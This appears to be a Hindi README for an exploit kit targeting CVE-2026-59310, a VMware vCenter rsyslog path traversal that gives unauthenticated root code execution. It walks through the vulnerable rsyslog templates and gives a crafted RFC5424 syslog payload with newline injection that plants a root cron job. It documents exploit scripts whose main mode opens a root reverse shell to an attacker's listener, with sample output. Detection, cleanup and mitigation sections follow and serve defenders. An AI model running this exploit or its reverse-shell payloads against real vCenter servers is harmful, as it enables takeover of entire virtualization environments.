
CVE-2026-59310 के लिए Python PoC और exploit, जो VMware vCenter syslog path traversal है जिसके कारण cron injection के माध्यम से unauthenticated root RCE होता है, साथ में detection और cleanup मार्गदर्शन।
अस्वीकरण: यह परियोजना केवल अधिकृत सुरक्षा परीक्षण, भेद्यता सत्यापन और रक्षात्मक अनुसंधान के लिए है। कृपया इसका उपयोग स्पष्ट लिखित प्राधिकरण प्राप्त वातावरण में करें। दुरुपयोग से होने वाले सभी परिणामों की जिम्मेदारी उपयोगकर्ता की होगी।
vCenter की अंतर्निहित syslog प्राप्ति सेवा (rsyslog) लॉग सहेजने के लिए गतिशील पथ टेम्पलेट का उपयोग करती है, टेम्पलेट संदेश हेडर के
APP-NAME, HOSTNAME फ़ील्ड को सीधे फ़ाइल पथ में जोड़ देता है, और पथ शुद्धिकरण नहीं करता। हमलावर पहुँच योग्य syslog
पोर्ट पर विशेष रूप से तैयार संदेश भेजकर, लेखन पथ को निर्धारित लॉग निर्देशिका से बाहर निकाल सकता है, और फिर शेड्यूल कार्यों के साथ मिलाकर मनमाना कोड निष्पादन प्राप्त कर सकता है।
vCenter वर्चुअलाइज़ेशन प्रबंधन का केंद्र है, एक बार समझौता होने पर पूरा vSphere / VCF वातावरण असुरक्षित हो जाता है।
प्रभावित संस्करण (निम्नलिखित सुधारित संस्करणों से कम)
साथ ही प्रभावित: स्वतंत्र रूप से तैनात vCenter, तथा VMware Cloud Foundation, VMware vSphere Foundation, VMware Telco Cloud में उपयोग किए जाने वाले प्रभावित vCenter घटक।
सत्यापित वातावरण: VMware vCenter Server 9.0.2.0 / Build 25148086, सुधारित संस्करण 25629525 से पहले, वास्तव में अप्रभावी स्थिति में।
/etc/rsyslog.conf(VMware फ़ैक्टरी डिफ़ॉल्ट कॉन्फ़िगरेशन):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% को एक साथ निर्देशिका नाम और फ़ाइल नाम दोनों के रूप में उपयोग किया जाता है, और पथ शुद्धिकरण नहीं है।
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
केवल प्रीफ़िक्स मिलान की आवश्यकता है, हमलावर rsyslog/... का उपयोग करके इस नियम को मैच कर सकता है और गतिशील पथ टेम्पलेट में प्रवेश कर सकता है।
24: $EscapeControlCharactersOnReceive off
संदेश सामग्री में न्यूलाइन जैसी ही डिस्क पर लिखी जाती है, जिससे हमलावर लिखी जाने वाली फ़ाइल की पंक्ति संरचना को नियंत्रित कर सकता है।
यह इस भेद्यता का सबसे आसानी से छूट जाने वाला स्थान है।
/ डिफ़ॉल्ट रूप से अनुमत नहीं,
जिसके कारण APP-NAME / पर कट जाता है → ट्रैवर्सल संभव नहीं।APP-NAME एक स्वतंत्र स्पेस-पृथक फ़ील्ड है, कैरेक्टर व्हाइटलिस्ट सत्यापन नहीं करता,
/ और .. जैसे हैं वैसे बने रहते हैं → ट्रैवर्सल संभव।सर्वर input(type="imudp" port="514") डिफ़ॉल्ट नियम सेट का उपयोग करता है, साथ ही RFC5424 संदेश स्वीकार करता है।
हमलावर को केवल संदेश को RFC5424 प्रारूप में लिखना है, ट्रैवर्सल कैरेक्टर सीधे फ़ाइल पथ तक पहुँच सकते हैं।
वास्तविक तुलना (समान पेलोड rsyslog/../../../../tmp/x):
| पार्सर | वास्तविक %app-name% मान |
|---|---|
| pmrfc3164 | rsyslog ← / पर कट गया |
| pmrfc5424 | rsyslog/../../../../tmp/x ← पूर्ण रूप से संरक्षित |
पार्श्व प्रमाण: शुद्ध
..को शाब्दिक निर्देशिका नाम के रूप में बनाया जाएगा (जैसेrsyslog..), जो दर्शाता है कि rsyslog की omfile परत..का सामान्यीकरण नहीं करती; वास्तव में सफलता या विफलता यह निर्धारित करती है कि पार्सर/को फ़ील्ड में भेज सकता है या नहीं।
① अनधिकृत UDP पैकेट → ② RFC5424 APP-NAME ट्रैवर्सल ले जाता है → ③ लॉग निर्देशिका से बाहर मनमानी लेखन (root)
↓
⑤ root कोड निष्पादन ← ④ /etc/cron.d में शेड्यूल कार्य रोपण
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
टेम्पलेट में प्रतिस्थापित:
निर्देशिका = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
फ़ाइल = उपरोक्त + "-syslog.log" → /tmp/PWNED-syslog.log
परिणाम: root स्वामित्व के साथ /tmp/PWNED-syslog.log पर लेखन, अनुपस्थित पैरेंट निर्देशिका स्वतः बनाई जाती है, सामग्री पूर्णतः नियंत्रणीय।
लिखी जाने वाली फ़ाइल का नाम निश्चित रूप से -syslog.log पर समाप्त होता है, सीधे /etc/cron.d/xxx को ओवरराइट नहीं किया जा सकता।
लेकिन न्यूलाइन पैठ के सहारे, MSG में न्यूलाइन इंजेक्ट की जा सकती है, जिससे नियंत्रणीय सामग्री फ़ाइल की पंक्ति 0 से प्रारंभ हो सके:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron "bad minute" रिपोर्ट करता है, अनदेखा करता है
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← वैध cron पंक्ति के रूप में निष्पादित
#
crond root के रूप में शेड्यूल करके निष्पादित करता है, प्राप्त:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ में लिखें (lighttpd पोर्ट 5480 पर सुनता है),
फिर https://<target>:5480/... के माध्यम से पढ़ें, विक्रेता सूचना के विवरण के अनुरूप।/var/spool/cron/root: इस निर्देशिका में लिखा जा सकता है, लेकिन root नाम की फ़ाइल आवश्यक है,
-syslog.log प्रत्यय की सीमा के कारण, इसलिए /etc/cron.d/ अधिक सीधा है।मनमानी फ़ाइल लेखन (अनधिकृत)
$ python3 exploit_cve_2026_59310.py <target> --check
[i] API नेमस्पेस संस्करण: 9.0.0.0 (appliance build नहीं, केवल फ़िंगरप्रिंट संदर्भ के लिए)
[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] भेज दिया गया। लक्ष्य पर root स्वामित्व वाली फ़ाइल बनने की अपेक्षा
# लक्ष्य पर:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log
कमांड निष्पादन (root)
$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] रोपित : /etc/cron.d/cve59310<name>-syslog.log
[i] परिणाम पढ़ें : cat /tmp/cve59310_<name>.txt
# लगभग 60s बाद:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost
इंटरैक्टिव रिवर्स शेल (root)
$ python3 exploit_cve_2026_59310.py <target> --lhost <आपका IP> --lport 4444
[+] सुन रहा है 0.0.0.0:4444
[+] रोपित : /etc/cron.d/cve59310<name>-syslog.log
[+] कनेक्शन सफल, <target>:56184 से —— root shell स्थापित
root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root
लक्ष्य IP, रिवर्स पता आदि को अपने अधिकृत परीक्षण वातावरण से बदलें।
exploit_cve_2026_59310.py# 1) इंटरैक्टिव root रिवर्स शेल (सबसे अधिक उपयोग किया जाने वाला)
python3 exploit_cve_2026_59310.py <target> --lhost <आपका IP> --lport 4444
# 2) एकल कमांड निष्पादित करें, आउटपुट लक्ष्य /tmp/<name>.txt में लिखा जाएगा
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
# 3) गैर-विनाशकारी सत्यापन: केवल अनधिकृत मनमानी फ़ाइल लेखन सिद्ध करें
python3 exploit_cve_2026_59310.py <target> --check
# 4) सफ़ाई कमांड देखें
python3 exploit_cve_2026_59310.py <target> --cleanup
सामान्य पैरामीटर:
poc_vcenter_rce.pypython3 poc_vcenter_rce.py <target> --check # मनमानी लेखन सत्यापित करें
python3 poc_vcenter_rce.py <target> --rce "id" --name t # कमांड निष्पादन
python3 poc_vcenter_rce.py <target> --cleanup # सफ़ाई संकेत
poc_syslog_traversal.pyHOSTNAME / APP-NAME को स्वतंत्र रूप से नियंत्रित कर सकता है, मैन्युअल रूप से संदेश बनाने के लिए:
python3 poc_syslog_traversal.py <target> \
--tag 'rsyslog/../../../../tmp/test' --msg 'hello'
यह भेद्यता केवल लेखन प्रिमिटिव प्रदान करती है, स्क्रिप्ट स्वयं दूरस्थ फ़ाइलें हटा नहीं सकती। सफ़ाई लक्ष्य पर निष्पादित करनी होगी:
rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*
# vCenter Shell में संस्करण देखें (Build < 25629525 की 9.0 शाखा अप्रभावी है)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version
# जाँचें कि क्या भेद्य गतिशील पथ टेम्पलेट मौजूद है
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
# जाँचें कि क्या न्यूलाइन पैठ सक्षम है
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf
# 1) /etc/cron.d के अंतर्गत असामान्य फ़ाइलें (मुख्य: -syslog.log प्रत्यय वाली प्रविष्टियाँ)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null
# 2) लॉग निर्देशिका के बाहर संदिग्ध *-syslog.log फ़ाइलें (पूर्ण डिस्क स्कैन, सबसे प्रभावी)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null
# 3) ट्रैवर्सल से उत्पन्न असामान्य निर्देशिकाएँ (ध्यान दें: पथ में .. या % जैसे वर्ण वाली निर्देशिकाएँ)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'
# 4) VAMI स्थिर निर्देशिका में लिखी गई सामग्री
ls -la /opt/vmware/share/htdocs/
# 5) syslog फ़ॉरवर्ड लॉग में असामान्य hostname (APP-NAME में / या .. वाला)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head
संकेत: बिंदु 2 का पूर्ण डिस्क स्कैन सबसे विश्वसनीय जाँच विधि है। यदि टेम्पलेट किसी अनुपस्थित पथ तक ट्रैवर्स करता है, rsyslog स्वतः पैरेंट निर्देशिका बना देगा, इसलिए
/..etc/、/rsyslog../जैसी विकृत निर्देशिकाएँ भी स्पष्ट घुसपैठ के निशान हैं।
प्रभावित संस्करण तालिका के अनुसार अपग्रेड करें। 9.0 शाखा के लिए न्यूनतम आवश्यकता 9.0.2.0100(Build 25629525)।
RFC5424 हमला सतह बंद करें (सबसे सीधा): 514/1514 इनपुट के लिए स्पष्ट रूप से pmrfc3164 पार्सर बाइंड करें।
parser(name="p3164" type="pmrfc3164")
input(type="imudp" port="514" ruleset="all" parser="p3164")
स्पष्ट पथ शुद्धिकरण: omfile के लिए securepath="normal" और secpath-drop="replace" कॉन्फ़िगर करें।
अपस्ट्रीम rsyslog सुरक्षा सूचना (GHSA-xmp9-244p-5ggv) स्पष्ट रूप से बताती है कि securepath ही विश्वसनीय पथ सीमा है।
न्यूलाइन पैठ अवरुद्ध करें: $EscapeControlCharactersOnReceive on सेट करें।
सेलेक्टर कसें: :app-name, startswith, "rsyslog" को सटीक मिलान में बदलें;
होस्टनाम निर्णय नियम को स्रोत IP / नेटवर्क सेगमेंट व्हाइटलिस्ट के अनुसार बदलें, ताकि कोई भी बाहरी प्रेषक गतिशील पथ टेम्पलेट में प्रवेश न कर सके।
नेटवर्क अलगाव: 514/1514 केवल प्रबंधित ESXi और विश्वसनीय लॉग फ़ॉरवर्डर के लिए खोलें, गैर-प्रबंधन नेटवर्क से पहुँच प्रतिबंधित करें।
⚠️ ध्यान दें: वर्तमान में
%hostname%पथ को रोकने वाली केवल RFC3164 पार्सर का डिफ़ॉल्ट व्यवहार यह आकस्मिक रक्षा परत है, विश्वसनीय सुरक्षा सीमा नहीं। एक बार संगतता के लिएpermit.slashesinhostnameसक्षम करने पर, वही नियम तुरंत शोषण योग्य हो जाएगा।
प्र: टूल द्वारा रिपोर्ट किया गया संस्करण 9.0.0.0 क्यों है, वास्तविक build से मेल नहीं खाता?
/sdk/vimServiceVersions.xml API नेमस्पेस संस्करण लौटाता है, appliance build संख्या नहीं,
इसके आधार पर यह निर्धारित नहीं किया जा सकता कि सुधार हुआ है या नहीं। कृपया vCenter Shell में cat /etc/vmware-release से वास्तविक build जाँचें।
प्र: कमांड निष्पादन के बाद परिणाम क्यों नहीं पढ़ा जा सकता?
crond प्रति मिनट शेड्यूल करता है, सामान्यतः लगभग 60s प्रतीक्षा आवश्यक। इसके अतिरिक्त इस भेद्यता में केवल लेखन प्रिमिटिव है,
स्क्रिप्ट सक्रिय रूप से फ़ाइल वापस नहीं पढ़ सकती, लक्ष्य पर cat /tmp/cve59310_<name>.txt आवश्यक है।
--read-cmd से बाहरी पठन कमांड भी पास किया जा सकता है (जैसे ssh root@target cat {path})。
प्र: रिवर्स शेल कनेक्ट नहीं हो रहा?
सामान्य कारण: लक्ष्य हमलावर मशीन तक नहीं पहुँच सकता (फ़ायरवॉल / NAT / नेटवर्क सेगमेंट अलगाव); crond अभी ट्रिगर नहीं हुआ
(--timeout बढ़ाएँ); सुनने वाला पोर्ट अनुमत नहीं। --method python से फ़ॉलबैक कार्यान्वयन स्विच कर सकते हैं।
प्र: -c "a; b" से केवल आंशिक आउटपुट क्यों मिलता है?
सुधार हो चुका है। स्क्रिप्ट { cmd; } > file 2>&1 समूह रीडायरेक्ट का उपयोग करती है,
जिससे पूरे कमांड अनुक्रम का आउटपुट कैप्चर होता है (a; b > file केवल अंतिम को रीडायरेक्ट करेगा)।
| आइटम | सामग्री |
|---|
| भेद्यता का नाम | VMware vCenter Syslog निर्देशिका ट्रैवर्सल भेद्यता |
| भेद्यता संख्या | CVE-2026-59310 |
| भेद्यता का प्रकार | निर्देशिका ट्रैवर्सल (Path Traversal) → मनमानी फ़ाइल लेखन → रिमोट कोड निष्पादन |
| CVSS 3.1 | 9.8 (Critical) |
| शोषण की पूर्व शर्त | केवल syslog पोर्ट (डिफ़ॉल्ट UDP/TCP 514) तक पहुँच आवश्यक, किसी भी प्रमाण-पत्र की आवश्यकता नहीं |
| शोषण का परिणाम | root विशेषाधिकार के साथ मनमानी पथ पर लेखन और मनमाना कोड निष्पादन |
| सार्वजनिक तिथि | 2026-07-29 |
| जंगल में शोषण | पाया गया |
| विक्रेता सूचना | VMSA-2026-0006 |
| शाखा | प्रभावित सीमा | सुधारित संस्करण |
|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100(Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 प्रारंभिक संस्करण / U1 | सभी | समर्थित पथ के अनुसार 8.0 U3k या उच्चतर में अपग्रेड करें |
| 7.0 | संबंधित विस्तारित समर्थन पैच स्थापित नहीं | Broadcom से पैच प्राप्त करें, या समर्थित संस्करण में माइग्रेट करें |
| आइटम | मान |
|---|
| लक्ष्य | VMware vCenter Server 9.0.2.0,Build 25148086 |
| सुधारित संस्करण | 9.0.2.0100,Build 25629525 |
| rsyslog | 8.2306.0-4.ph5(VMware कस्टम पैकेज) |
| syslog पोर्ट | UDP/TCP 514、TCP 1514(TLS) |
| प्रमाणीकरण आवश्यकता | नहीं |
| पैरामीटर | विवरण |
|---|
--port | syslog पोर्ट, डिफ़ॉल्ट 514 |
--tcp | UDP के बजाय TCP का उपयोग करें |
--lhost / --lport | रिवर्स शेल कनेक्शन पता / पोर्ट |
--method {bash,python} | रिवर्स विधि, डिफ़ॉल्ट bash(/dev/tcp) |
--name | एकल रन के लिए विशिष्ट पहचान, डिफ़ॉल्ट यादृच्छिक |
--timeout | निष्पादन/कनेक्शन प्रतीक्षा सेकंड, डिफ़ॉल्ट 180 |
-q | banner प्रिंट न करें |